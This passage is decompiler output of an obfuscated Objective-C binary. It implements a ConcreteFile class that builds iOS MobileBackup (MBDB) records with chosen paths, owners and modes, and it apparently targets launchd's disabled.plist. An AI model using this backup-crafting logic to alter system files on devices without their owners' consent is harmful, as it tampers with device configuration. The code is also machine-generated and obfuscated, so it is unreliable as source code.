aU[15] = 116;
aU[16] = 32;
aU[17] = 102;
aU[18] = 111;
aU[19] = 114;
aU[20] = 32;
aU[21] = 37;
aU[22] = 64;
aU[23] = 32;
aU[24] = 61;
aU[25] = 32;
aU[26] = 48;
aU[27] = 37;
aU[28] = 48;
aU[29] = 54;
aU[30] = 108;
aU[31] = 111;
aU[32] = 0;
*v45 = -2141257584;
break;
}
}
}
else if ( v37 > 789973896 )
{
if ( v37 <= 821205414 )
{
if ( v37 == 789973897 )
goto LABEL_143;
if ( v37 == 791516874 )
{
a2 = (SEL)2684044891LL;
v12 = 1;
v9 = -1359522315;
v13 = -2130146849;
goto LABEL_194;
}
}
else
{
switch ( v37 )
{
case 821205415:
*v45 = -533763167;
break;
case 831106247:
v25 = v36;
*v45 = 256586128;
break;
case 894861657:
*v45 = -1822462120;
break;
}
}
}
else if ( v37 <= 702225772 )
{
if ( v37 == 625010165 )
{
*v45 = 791516874;
}
else if ( v37 == 626669364 )
{
v12 = 1;
v9 = -2111824436;
v13 = 1256105650;
goto LABEL_194;
}
}
else
{
switch ( v37 )
{
case 702225773:
v9 = -1332807840;
goto LABEL_196;
case 715353223:
*v45 = 1111907209;
break;
case 744569890:
*v45 = -2002225458;
break;
}
}
}
else if ( v37 > 1610331396 )
{
if ( v37 > 1928954791 )
{
if ( v37 <= 2064037598 )
{
if ( v37 == 1928954792 )
{
v22 = -1220290151;
if ( v43 )
v22 = -1738151512;
*v45 = v22;
v29 = a8;
}
else if ( v37 == 2048452821 )
{
v12 = 0;
p_mode = &v39->_mode;
v9 = -79694135;
v13 = 2048452821;
goto LABEL_194;
}
}
else
{
switch ( v37 )
{
case 2064037599:
v9 = -73506537;
goto LABEL_196;
case 2107065625:
a2 = (SEL)1977165480;
v12 = 1;
v28 = 56;
v9 = -538939218;
v13 = 115727573;
goto LABEL_194;
case 2144157519:
objc_release(a7);
*v45 = 1562282065;
break;
}
}
}
else if ( v37 <= 1802393248 )
{
if ( v37 == 1610331397 )
{
v10 = 1;
v27 = 40;
v9 = -1453414385;
v11 = -881382582;
LABEL_182:
if ( !v10 )
v9 = v11;
LABEL_196:
*v45 = v9;
}
else if ( v37 == 1664733256 )
{
*v45 = 585046873;
}
}
else
{
switch ( v37 )
{
case 1802393249:
strcpy(asc_100264100, "[DEBUG] Match found for disabled.plist, applying 0644");
qmemcpy(asc_100264170, "com.apple.xpc.launchd/disab", 27);
*v45 = -1966894245;
break;
case 1841647977:
a2 = (SEL)3267511942LL;
v9 = 2107065625;
goto LABEL_196;
case 1884995469:
v12 = 1;
v9 = -1670492352;
v13 = 339703194;
goto LABEL_194;
}
}
}
else if ( v37 > 1262215849 )
{
if ( v37 <= 1400724145 )
{
if ( v37 == 1262215850 )
{
v14 = !v44;
v9 = -244639814;
v15 = 1841647977;
goto LABEL_190;
}
if ( v37 == 1355812669 )
{
v10 = 0;
v9 = 1802393249;
v11 = -1966894245;
goto LABEL_182;
}
}
else
{
switch ( v37 )
{
case 1400724146:
v39->_inode = v30;
a2 = "hasSuffix:";
HikariFunctionWrapper_326_0(a3, "hasSuffix:");
*v45 = -1542445440;
break;
case 1562282065:
v10 = 1;
v9 = 513294310;
v11 = -1078273029;
goto LABEL_182;
case 1565318414:
LABEL_153:
*v45 = -1722264936;
break;
}
}
}
else if ( v37 <= 1111907208 )
{
if ( v37 == 1040229025 )
{
*v45 = 2064037599;
}
else if ( v37 == 1065948823 )
{
a2 = (SEL)94380056;
v14 = 0;
v9 = -1040850419;
v15 = -103204849;
goto LABEL_190;
}
}
else
{
switch ( v37 )
{
case 1111907209:
v40 = v35 == 0;
v12 = 1;
v9 = 715353223;
v13 = 821205415;
goto LABEL_194;
case 1131037175:
v12 = 0;
v9 = -1929551922;
v13 = -474611956;
goto LABEL_194;
case 1256105650:
v39->_owner = v32;
v9 = 127458458;
goto LABEL_196;
}
}
}
if ( v37 <= -1313659503 )
break;
if ( v37 <= -474611957 )
{
if ( v37 <= -881382583 )
{
if ( v37 > -1078273030 )
{
if ( v37 == -1078273029 )
{
objc_release(a3);
*v45 = 513294310;
}
else if ( v37 == -1040850419 )
{
*v45 = 1065948823;
}
}
else
{
if ( v37 == -1313659502 )
{
a2 = (SEL)1205801715;
v10 = 0;
v9 = 789973897;
v11 = 557904931;
goto LABEL_182;
}
if ( v37 == -1220290151 )
{
v30 = v29;
v12 = 1;
v9 = 1400724146;
v13 = -1542445440;
goto LABEL_194;
}
}
}
else if ( v37 <= -538939219 )
{
if ( v37 == -881382582 )
{
*v45 = 1610331397;
}
else if ( v37 == -626600096 )
{
a2 = (SEL)3875536896LL;
dword_10029F22C = 1;
v38 = (objc_super *)(&v24 - 2);
v9 = 625010165;
goto LABEL_196;
}
}
else
{
switch ( v37 )
{
case -538939218:
*v45 = 2107065625;
break;
case -538777764:
*(Class *)((char *)&v39->super.super.isa + v28) = (Class)493;
goto LABEL_153;
case -533763167:
v14 = !v40;
v9 = -2141257584;
v15 = 1355812669;
goto LABEL_190;
}
}
}
else if ( v37 > -130518899 )
{
if ( v37 <= -79694136 )
{
if ( v37 == -130518898 )
{
a2 = (SEL)3382316811LL;
v14 = 0;
v9 = 715353223;
v15 = 1111907209;
LABEL_190:
if ( !v14 )
v9 = v15;
goto LABEL_196;
}
if ( v37 == -103204849 )
{
*v45 = -1220290151;
v29 = v25;
}
}
else
{
switch ( v37 )
{
case -79694135:
*v45 = -1342279972;
break;
case -73506537:
asc_100264170[27] = 108;
asc_100264170[28] = 101;
asc_100264170[29] = 100;
asc_100264170[30] = 46;
asc_100264170[31] = 112;
asc_100264170[32] = 108;
asc_100264170[33] = 105;
asc_100264170[34] = 115;
asc_100264170[35] = 116;
asc_100264170[36] = 0;
aU[0] = 91;
aU[1] = 68;
v41 = 69;
*v45 = 1664733256;
break;
case -65105052:
v9 = 1610331397;
goto LABEL_196;
}
}
}
else if ( v37 <= -210119103 )
{
if ( v37 == -474611956 )
{
LABEL_142:
*v45 = 1131037175;
}
else if ( v37 == -244639814 )
{
NSLog(
CFSTR("\x19\xA0jl_\x90\xFD\xA2\x95\r\x0E\xD8\x09r\x1C^2\x13v\xD0\x7E\x02_\n\x98MG\xB8\x9B4\\=\xB8Ät&\x8D$ȹYjBY\xD6\x4Fjȑ\x8Bm\x85C"),
a2);
*v45 = -168439552;
}
}
else
{
switch ( v37 )
{
case -210119102:
HikariFunctionWrapper_324_0();
*v45 = -174630493;
break;
case -174630493:
a2 = (SEL)2120619432;
v21 = arc4random();
v12 = 0;
v36 = v21;
v9 = -1874747594;
v13 = -210119102;
goto LABEL_194;
case -168439552:
v10 = 1;
v9 = 2048452821;
v11 = -1563486622;
goto LABEL_182;
}
}
}
if ( v37 <= -1822462121 )
break;
if ( v37 > -1542445441 )
{
if ( v37 <= -1359522316 )
{
if ( v37 == -1542445440 )
{
v39->_inode = v30;
a2 = "hasSuffix:";
v44 = (unsigned __int8)HikariFunctionWrapper_322_0(a3, "hasSuffix:") == 0;
v12 = 1;
v9 = 1400724146;
v13 = 1262215850;
LABEL_194:
if ( v12 )
v9 = v13;
goto LABEL_196;
}
if ( v37 == -1453414385 )
*v45 = 702225773;
}
else
{
switch ( v37 )
{
case -1359522315:
objc_retain(a3);
objc_retain(a7);
v38->receiver = v34;
v38->super_class = (Class)&OBJC_CLASS___ConcreteFile;
a2 = "initWithPath:domain:";
-[objc_super initWithPath:domain:](v38, "initWithPath:domain:", a3, v33);
*v45 = -2130146849;
break;
case -1342279972:
*p_mode = 420;
a2 = (SEL)a3;
NSLog(
CFSTR("u\xEF\x57\x30\xA4\n\xA2\xC9\x12CrHuq\u0081\xE6\x09\x4D\xAE\xE3\x74\x42\x98\x03\xC4\xE0\x16\x1D\xC1\x79\xB9\x9A"),
a3,
33188);
LABEL_178:
*v45 = 2144157519;
break;
case -1332807840:
*(Class *)((char *)&v39->super.super.isa + v27) = (Class)v31;
v16 = v39;
objc_retain(a7);
v17 = v16->_contents;
v16->_contents = (NSData *)a7;
objc_release(v17);
v43 = a8 == 0;
v10 = 0;
v9 = -1332807840;
v11 = 1928954792;
goto LABEL_182;
}
}
}
else if ( v37 <= -1722264937 )
{
if ( v37 == -1822462120 )
{
LABEL_143:
*v45 = -1313659502;
}
else if ( v37 == -1738151512 )
{
a2 = (SEL)3085537348LL;
v10 = 1;
v9 = -174630493;
v11 = -210119102;
goto LABEL_182;
}
}
else
{
switch ( v37 )
{
case -1722264936:
a2 = (SEL)3805303644LL;
v10 = 1;
*(Class *)((char *)&v39->super.super.isa + v28) = (Class)493;
v9 = 436324495;
v11 = -538777764;
goto LABEL_182;
case -1670492352:
*v45 = 339703194;
break;
case -1563486622:
*v45 = 2048452821;
break;
}
}
}
if ( v37 > -2002225459 )
break;
if ( v37 <= -2119771372 )
{
if ( v37 == -2141257584 )
{
a2 = (SEL)884000633;
v14 = 0;
v9 = -2119771371;
v15 = -626600096;
goto LABEL_190;
}
if ( v37 == -2130146849 )
{
objc_retain(a3);
objc_retain(a7);
v38->receiver = v34;
v38->super_class = (Class)&OBJC_CLASS___ConcreteFile;
a2 = "initWithPath:domain:";
v18 = (ConcreteFile *)HikariFunctionWrapper_320_1(v38, "initWithPath:domain:");
v42 = v18 == 0;
v10 = 1;
v39 = v18;
v9 = 894861657;
v11 = -1359522315;
goto LABEL_182;
}
}
else
{
switch ( v37 )
{
case -2119771371:
dword_10029F22C = 1;
*v45 = -626600096;
break;
case -2111824436:
v39->_owner = v32;
*v45 = 1256105650;
break;
case -2066863135:
asc_100264170[27] = 108;
asc_100264170[28] = 101;
asc_100264170[29] = 100;
asc_100264170[30] = 46;
asc_100264170[31] = 112;
asc_100264170[32] = 108;
asc_100264170[33] = 105;
asc_100264170[34] = 115;
asc_100264170[35] = 116;
asc_100264170[36] = 0;
aU[0] = 91;
aU[1] = 68;
*v45 = -73506537;
break;
}
}
}
if ( v37 > -1929551923 )
break;
if ( v37 == -2002225458 )
goto LABEL_142;
if ( v37 == -1966894245 )
{
strcpy(asc_100264100, "[DEBUG] Match found for disabled.plist, applying 0644");
qmemcpy(asc_100264170, "com.apple.xpc.launchd/disab", 27);
v12 = 1;
v9 = 1802393249;
v13 = 1040229025;
goto LABEL_194;
}
}
if ( v37 == -1898963193 )
goto LABEL_178;
if ( v37 != -1874747594 )
break;
*v45 = 831106247;
}
}
while ( v37 != -1929551922 );
return v39;
}
// 10025F840: using guessed type __objc2_class OBJC_CLASS___ConcreteFile;
// 10029F22C: using guessed type int dword_10029F22C;
//----- (00000001000204BA) ----------------------------------------------------
ConcreteFile *__cdecl -[ConcreteFile initWithPath:domain:owner:group:contents:](
ConcreteFile *self,
SEL a2,
id a3,
id a4,
unsigned __int64 a5,
unsigned __int64 a6,
id a7)
{
int v10; // eax
ConcreteFile *v12; // [rsp+0h] [rbp-50h]
const char *v13; // [rsp+8h] [rbp-48h]
int v15; // [rsp+1Ch] [rbp-34h] BYREF
int *v16; // [rsp+20h] [rbp-30h]
v15 = -1531376712;
v16 = &v15;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v15 > -942833381 )
{
if ( v15 > 1299746716 )
{
if ( v15 == 1299746717 )
{
objc_msgSend(self, v13, a3, a4, a5, a6, a7, 0);
*v16 = -1025726359;
}
else if ( v15 == 1526539845 )
{
*v16 = -1972377100;
}
}
else if ( v15 == -942833380 )
{
*v16 = -1231102630;
}
else if ( v15 == 106859506 )
{
*v16 = -1652805478;
}
}
if ( v15 <= -1231102631 )
break;
if ( v15 == -1231102630 )
{
v13 = "initWithPath:domain:owner:group:contents:inode:";
v10 = 1526539845;
goto LABEL_21;
}
if ( v15 == -1025726359 )
{
v12 = (ConcreteFile *)objc_msgSend(self, v13, a3, a4, a5, a6, a7, 0);
v10 = 106859506;
goto LABEL_21;
}
}
if ( v15 != -1972377100 )
break;
v10 = -1025726359;
LABEL_21:
*v16 = v10;
}
if ( v15 == -1531376712 )
{
v10 = -1231102630;
goto LABEL_21;
}
}
while ( v15 != -1652805478 );
return v12;
}
// 1000205EB: variable 'v13' is possibly undefined
// 1000206FC: variable 'v12' is possibly undefined
//----- (000000010002070F) ----------------------------------------------------
id __cdecl -[ConcreteFile toRecord](ConcreteFile *self, SEL a2)
{
double v2; // xmm0_8
id v3; // rax
id v4; // r15
id v5; // r14
NSData *v6; // rax
NSData *v7; // r12
CC_LONG v8; // eax
id v9; // rax
MbdbRecord *v10; // rax
NSString *v11; // rax
NSString *v12; // rax
NSString *v13; // r15
id v14; // rax
id v15; // r15
unsigned int v16; // eax
NSDate *v17; // rax
NSDate *v18; // r15
unsigned int v19; // eax
id v20; // rax
id v21; // r15
unsigned int v22; // eax
unsigned int v23; // eax
id v24; // rax
id v25; // r15
NSString *v27; // [rsp+8h] [rbp-88h]
int v28; // [rsp+14h] [rbp-7Ch] BYREF
SEL v29; // [rsp+18h] [rbp-78h]
id v30; // [rsp+20h] [rbp-70h]
SEL v31; // [rsp+28h] [rbp-68h]
int *v32; // [rsp+30h] [rbp-60h]
id v33; // [rsp+38h] [rbp-58h]
unsigned __int8 v34[32]; // [rsp+40h] [rbp-50h] BYREF
__int64 v35; // [rsp+60h] [rbp-30h]
v35 = -1;
v29 = "contents";
v3 = HikariFunctionWrapper_328_0(self, "contents");
v4 = objc_retainAutoreleasedReturnValue(v3);
objc_retainAutorelease(v4);
v5 = objc_msgSend(v4, "bytes");
v6 = -[ConcreteFile contents](self, "contents");
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = (unsigned int)-[NSData length](v7, "length");
HikariFunctionWrapper_330_0(v5, v8, v34);
objc_release(v7);
objc_release(v4);
v9 = HikariFunctionWrapper_332_0(&OBJC_CLASS___NSData, "dataWithBytes:length:");
v30 = objc_retainAutoreleasedReturnValue(v9);
v10 = objc_alloc(&OBJC_CLASS___MbdbRecord);
v33 = -[MbdbRecord init](v10, "init");
v11 = -[BackupFile domain](self, "domain");
v27 = objc_retainAutoreleasedReturnValue(v11);
v28 = 1320734274;
v32 = &v28;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v28 <= 673451971 )
{
if ( v28 == -1814858136 )
{
v22 = (unsigned int)HikariFunctionWrapper_356(v33, v31);
objc_msgSend(v33, "setAtime:", v22);
v23 = (unsigned int)objc_msgSend(v33, v31);
objc_msgSend(v33, "setCtime:", v23);
v24 = objc_msgSend(self, v29);
v25 = objc_retainAutoreleasedReturnValue(v24);
objc_msgSend(v25, "length");
HikariFunctionWrapper_358(v33, "setSize:");
objc_release(v25);
HikariFunctionWrapper_360(v33, "setFlags:");
objc_msgSend(v33, "setProperties:", -1);
objc_release(v30);
objc_autoreleaseReturnValue(v33);
goto LABEL_11;
}
if ( v28 == -1590547797 )
LABEL_11:
*v32 = 673451972;
}
if ( v28 != 673451972 )
break;
v19 = (unsigned int)HikariFunctionWrapper_346(v33, v31);
objc_msgSend(v33, "setAtime:", v19);
objc_msgSend(v33, v31);
HikariFunctionWrapper_348(v33, "setCtime:");
v20 = objc_msgSend(self, v29);
v21 = objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_350(v21, "length");
HikariFunctionWrapper_352(v33, "setSize:");
objc_release(v21);
objc_msgSend(v33, "setFlags:", 4);
HikariFunctionWrapper_354(v33, "setProperties:");
objc_release(v30);
objc_autoreleaseReturnValue(v33);
*v32 = 1996857718;
}
if ( v28 != 1320734274 )
break;
HikariFunctionWrapper_334_0(v33, "setDomain:");
objc_release(v27);
v12 = -[BackupFile path](self, "path");
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(v33, "setFilename:", v13);
objc_release(v13);
objc_msgSend(v33, "setLink:", &stru_10025B688);
objc_msgSend(v33, "setHashData:", v30);
v14 = HikariFunctionWrapper_336_0(&OBJC_CLASS___NSData, "data");
v15 = objc_retainAutoreleasedReturnValue(v14);
objc_msgSend(v33, "setKey:", v15);
objc_release(v15);
objc_msgSend(v33, "setMode:", self->_mode | 0x8000);
HikariFunctionWrapper_338_0(self, "inode");
HikariFunctionWrapper_340_0(v33, "setInode:");
HikariFunctionWrapper_342_0(self, "owner");
HikariFunctionWrapper_344(v33, "setUserId:");
v16 = (unsigned int)-[ConcreteFile group](self, "group");
objc_msgSend(v33, "setGroupId:", v16);
v17 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v18 = objc_retainAutoreleasedReturnValue(v17);
-[NSDate timeIntervalSince1970](v18, "timeIntervalSince1970");
objc_msgSend(v33, "setMtime:", (unsigned int)(int)v2);
objc_release(v18);
v31 = "mtime";
*v32 = -1590547797;
}
}
while ( v28 != 1996857718 );
return v33;
}
// 10002099E: variable 'v2' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025FA70: using guessed type __objc2_class OBJC_CLASS___MbdbRecord;
//----- (0000000100020BEA) ----------------------------------------------------
NSData *__cdecl -[ConcreteFile contents](ConcreteFile *self, SEL a2)
{
int v2; // r9d
NSData **p_contents; // [rsp+0h] [rbp-20h]
NSData *v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = 1629172727;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 695878475 )
{
if ( v6 > -204661468 )
{
switch ( v6 )
{
case -204661467:
v2 = 340091357;
goto LABEL_24;
case 31770051:
*v7 = 1888957506;
break;
case 340091357:
v2 = 1959182785;
goto LABEL_24;
}
}
else
{
switch ( v6 )
{
case -2100082901:
p_contents = &self->_contents;
*v7 = 939099315;
break;
case -1964263172:
*v7 = -2100082901;
break;
case -1695554779:
v2 = 1888957506;
goto LABEL_24;
}
}
}
if ( v6 > 1629172726 )
break;
switch ( v6 )
{
case 695878476:
*v7 = 340091357;
break;
case 939099315:
*v7 = -1695554779;
break;
case 1175065309:
*v7 = -204661467;
break;
}
}
if ( v6 != 1629172727 )
break;
v2 = -2100082901;
LABEL_24:
*v7 = v2;
}
if ( v6 == 1888957506 )
{
v5 = *p_contents;
v2 = 1175065309;
goto LABEL_24;
}
}
while ( v6 != 1959182785 );
return v5;
}
// 100020E8E: conditional instruction was optimized away because %var_10.4==E7F2E203
// 100020DF4: variable 'p_contents' is possibly undefined
// 100020EDB: variable 'v5' is possibly undefined
//----- (0000000100020EE1) ----------------------------------------------------
void __cdecl -[ConcreteFile setContents:](ConcreteFile *self, SEL a2, id a3)
{
int v4; // eax
NSData *v5; // rdi
NSData *v6; // rdi
NSData **p_contents; // [rsp+10h] [rbp-40h]
int v9; // [rsp+1Ch] [rbp-34h] BYREF
int *v10; // [rsp+20h] [rbp-30h]
v9 = 284858275;
v10 = &v9;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v9 <= 284858274 )
{
if ( v9 > -290430923 )
{
switch ( v9 )
{
case -290430922:
*v10 = 1054876905;
break;
case 218164238:
v6 = *p_contents;
*p_contents = (NSData *)a3;
objc_release(v6);
v4 = 976162521;
LABEL_27:
*v10 = v4;
break;
case 273950848:
*v10 = -619357215;
break;
}
}
else
{
switch ( v9 )
{
case -2091661292:
p_contents = &self->_contents;
objc_retain(a3);
v4 = 273950848;
goto LABEL_27;
case -1899387686:
*v10 = -290430922;
break;
case -619357215:
v4 = 218164238;
goto LABEL_27;
}
}
}
if ( v9 > 542526196 )
break;
switch ( v9 )
{
case 284858275:
v4 = -2091661292;
goto LABEL_27;
case 288825688:
v5 = *p_contents;
*p_contents = (NSData *)a3;
objc_release(v5);
*v10 = 218164238;
break;
case 418867460:
v4 = -290430922;
goto LABEL_27;
}
}
if ( v9 != 542526197 )
break;
objc_retain(a3);
*v10 = -2091661292;
}
if ( v9 != 976162521 )
break;
*v10 = 418867460;
}
}
while ( v9 != 1054876905 );
}
// 1000211B8: conditional instruction was optimized away because r15d.4==7FFFBFFF
// 100021138: variable 'p_contents' is possibly undefined
//----- (00000001000211E0) ----------------------------------------------------
unsigned __int64 __cdecl -[ConcreteFile owner](ConcreteFile *self, SEL a2)
{
int v2; // r9d
unsigned __int64 *p_owner; // [rsp+8h] [rbp-28h]
unsigned __int64 v5; // [rsp+10h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-14h] BYREF
int *v7; // [rsp+20h] [rbp-10h]
v6 = -1432617658;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > -331770296 )
{
if ( v6 > 558556579 )
{
if ( v6 == 558556580 )
{
*v7 = -105553379;
}
else if ( v6 == 1052782905 )
{
v5 = *p_owner;
v2 = -605484044;
goto LABEL_18;
}
}
else if ( v6 == -331770295 )
{
v2 = 1052782905;
LABEL_18:
*v7 = v2;
}
else if ( v6 == -105553379 )
{
p_owner = &self->_owner;
v2 = -1200544584;
goto LABEL_18;
}
}
if ( v6 > -605484045 )
break;
if ( v6 == -1432617658 )
{
v2 = -105553379;
goto LABEL_18;
}
if ( v6 == -1200544584 )
*v7 = -331770295;
}
if ( v6 != -546126293 )
break;
*v7 = 1052782905;
}
}
while ( v6 != -605484044 );
return v5;
}
// 1000212FE: variable 'p_owner' is possibly undefined
// 1000213E0: variable 'v5' is possibly undefined
//----- (00000001000213E7) ----------------------------------------------------
void __cdecl -[ConcreteFile setOwner:](ConcreteFile *self, SEL a2, unsigned __int64 a3)
{
int v3; // r11d
unsigned __int64 *p_owner; // [rsp+0h] [rbp-28h]
int v5; // [rsp+Ch] [rbp-1Ch] BYREF
int *v6; // [rsp+10h] [rbp-18h]
v5 = 1474566157;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 <= 233000435 )
{
if ( v5 > -805168261 )
{
switch ( v5 )
{
case -805168260:
*v6 = 2147370449;
break;
case -690795831:
*v6 = -1577238396;
break;
case -484622564:
p_owner = &self->_owner;
v3 = -805168260;
goto LABEL_24;
}
}
else
{
switch ( v5 )
{
case -1577238396:
v3 = 1670915881;
goto LABEL_24;
case -1402535311:
*v6 = 233000436;
break;
case -1372458466:
*p_owner = a3;
*v6 = 1932746536;
break;
}
}
}
if ( v5 > 1670915880 )
break;
switch ( v5 )
{
case 233000436:
v3 = -1577238396;
goto LABEL_24;
case 525258636:
*v6 = -484622564;
break;
case 1474566157:
v3 = -484622564;
goto LABEL_24;
}
}
if ( v5 != 1932746536 )
break;
*p_owner = a3;
v3 = -1402535311;
LABEL_24:
*v6 = v3;
}
if ( v5 == 2147370449 )
{
v3 = 1932746536;
goto LABEL_24;
}
}
while ( v5 != 1670915881 );
}
// 1000214D1: conditional instruction was optimized away because %var_20.4==C7F6F976
// 100021484: variable 'p_owner' is possibly undefined
//----- (00000001000216C9) ----------------------------------------------------
unsigned __int64 __cdecl -[ConcreteFile group](ConcreteFile *self, SEL a2)
{
int v2; // esi
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = -499184194;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 568730789 )
{
if ( v6 > 1300800834 )
{
if ( v6 == 1300800835 )
{
*v7 = 1306302804;
}
else if ( v6 == 1306302804 )
{
v2 = 961861183;
goto LABEL_18;
}
}
else if ( v6 == 568730790 )
{
*v7 = -1632570615;
}
else if ( v6 == 961861183 )
{
v5 = *(unsigned __int64 *)((char *)&self->super.super.isa + v4);
v2 = 568730790;
goto LABEL_18;
}
}
if ( v6 <= 106852097 )
break;
if ( v6 == 106852098 )
{
v4 = 40;
v2 = 1300800835;
LABEL_18:
*v7 = v2;
}
else if ( v6 == 256559775 )
{
*v7 = 961861183;
}
}
if ( v6 != -1370519650 )
break;
*v7 = 106852098;
}
if ( v6 == -499184194 )
{
v2 = 106852098;
goto LABEL_18;
}
}
while ( v6 != -1632570615 );
return v5;
}
// 10002175D: conditional instruction was optimized away because %var_10.4==764775A4
// 1000217D9: variable 'v4' is possibly undefined
// 1000218EA: variable 'v5' is possibly undefined
//----- (00000001000218F0) ----------------------------------------------------
void __cdecl -[ConcreteFile setGroup:](ConcreteFile *self, SEL a2, unsigned __int64 a3)
{
int v3; // ebx
__int64 v4; // [rsp+0h] [rbp-38h]
unsigned __int64 *v5; // [rsp+8h] [rbp-30h]
int v6; // [rsp+14h] [rbp-24h] BYREF
int *v7; // [rsp+18h] [rbp-20h]
v6 = -303621442;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 168564859 )
{
if ( v6 > -792771168 )
{
switch ( v6 )
{
case -792771167:
*v5 = a3;
v3 = 1736803926;
goto LABEL_25;
case -460456186:
*v7 = 946737722;
break;
case -303621442:
v3 = 946737722;
goto LABEL_25;
}
}
else
{
switch ( v6 )
{
case -2116354358:
v5 = (unsigned __int64 *)((char *)self + v4);
v3 = 168564860;
goto LABEL_25;
case -2037785881:
*v7 = -1985100064;
break;
case -1985100064:
LABEL_19:
*v7 = -2116354358;
break;
}
}
}
if ( v6 > 1736803925 )
break;
switch ( v6 )
{
case 168564860:
*v7 = 304542369;
break;
case 304542369:
v3 = -792771167;
LABEL_25:
*v7 = v3;
break;
case 946737722:
v4 = 40;
v3 = -2037785881;
goto LABEL_25;
}
}
if ( v6 != 1830681202 )
break;
*v5 = a3;
*v7 = -792771167;
}
if ( v6 == 1840861667 )
goto LABEL_19;
}
while ( v6 != 1736803926 );
}
// 100021A3E: conditional instruction was optimized away because %var_28.4==B91B0DAD
// 100021AAC: variable 'v4' is possibly undefined
// 100021AE7: variable 'v5' is possibly undefined
//----- (0000000100021B94) ----------------------------------------------------
unsigned __int64 __cdecl -[ConcreteFile inode](ConcreteFile *self, SEL a2)
{
int v2; // r8d
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = 1428426755;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > 853207971 )
{
if ( v6 > 1428426754 )
{
switch ( v6 )
{
case 1689149551:
v2 = -20586583;
goto LABEL_26;
case 1449790915:
*v7 = -148479099;
break;
case 1428426755:
v2 = -148479099;
goto LABEL_26;
}
}
else
{
switch ( v6 )
{
case 853207972:
*v7 = 1689149551;
break;
case 1177264033:
v2 = -1942339635;
LABEL_26:
*v7 = v2;
break;
case 1235543702:
*v7 = -20586583;
break;
}
}
}
if ( v6 <= -148479100 )
break;
switch ( v6 )
{
case -148479099:
v4 = 48;
v2 = -1090493963;
goto LABEL_26;
case -20586583:
v2 = -1697890975;
goto LABEL_26;
case 433065899:
*v7 = -1942339635;
break;
}
}
if ( v6 == -1942339635 )
{
v5 = *(unsigned __int64 *)((char *)&self->super.super.isa + v4);
v2 = 853207972;
goto LABEL_26;
}
if ( v6 != -1090493963 )
break;
*v7 = 1177264033;
}
}
while ( v6 != -1697890975 );
return v5;
}
// 100021C97: conditional instruction was optimized away because %var_10.4==0
// 100021DA3: variable 'v4' is possibly undefined
// 100021E88: variable 'v5' is possibly undefined
//----- (0000000100021E8E) ----------------------------------------------------
void __cdecl -[ConcreteFile setInode:](ConcreteFile *self, SEL a2, unsigned __int64 a3)
{
int v3; // r8d
unsigned __int64 *p_inode; // [rsp+8h] [rbp-18h]
int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = 1797464612;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 <= 147249834 )
{
if ( v5 > 17703950 )
{
if ( v5 == 17703951 )
{
p_inode = &self->_inode;
v3 = -517265178;
LABEL_19:
*v6 = v3;
}
else if ( v5 == 23203485 )
{
*p_inode = a3;
*v6 = -1588686616;
}
}
else if ( v5 == -1588686616 )
{
*p_inode = a3;
*v6 = 1712085169;
}
else if ( v5 == -517265178 )
{
*v6 = 147249835;
}
}
if ( v5 > 1712085168 )
break;
if ( v5 == 147249835 )
{
v3 = -1588686616;
goto LABEL_19;
}
if ( v5 == 209021094 )
*v6 = 17703951;
}
if ( v5 == 1797464612 )
{
v3 = 17703951;
goto LABEL_19;
}
}
while ( v5 != 1712085169 );
}
// 100021F39: variable 'p_inode' is possibly undefined
//----- (000000010002204C) ----------------------------------------------------
unsigned __int64 __cdecl -[ConcreteFile mode](ConcreteFile *self, SEL a2)
{
int v2; // esi
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = -850024502;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -242120261 )
{
if ( v6 > -1603129935 )
{
if ( v6 == -1603129934 )
{
v2 = 1070389457;
LABEL_20:
*v7 = v2;
}
else if ( v6 == -850024502 )
{
v2 = -1642553508;
goto LABEL_20;
}
}
else if ( v6 == -1950395086 )
{
*v7 = -1603129934;
}
else if ( v6 == -1642553508 )
{
v4 = 56;
v2 = 1490044864;
goto LABEL_20;
}
}
if ( v6 > 953722656 )
break;
if ( v6 == -242120260 )
{
v5 = *(unsigned __int64 *)((char *)&self->super.super.isa + v4);
*v7 = 628781792;
}
else if ( v6 == 628781792 )
{
v2 = -1603129934;
goto LABEL_20;
}
}
if ( v6 != 953722657 )
break;
*v7 = -1642553508;
}
if ( v6 != 1490044864 )
break;
*v7 = -242120260;
}
}
while ( v6 != 1070389457 );
return v5;
}
// 1000221AA: conditional instruction was optimized away because %var_10.4==122A81E4
// 1000221B3: variable 'v4' is possibly undefined
// 10002223B: variable 'v5' is possibly undefined
//----- (0000000100022241) ----------------------------------------------------
void __cdecl -[ConcreteFile setMode:](ConcreteFile *self, SEL a2, unsigned __int64 a3)
{
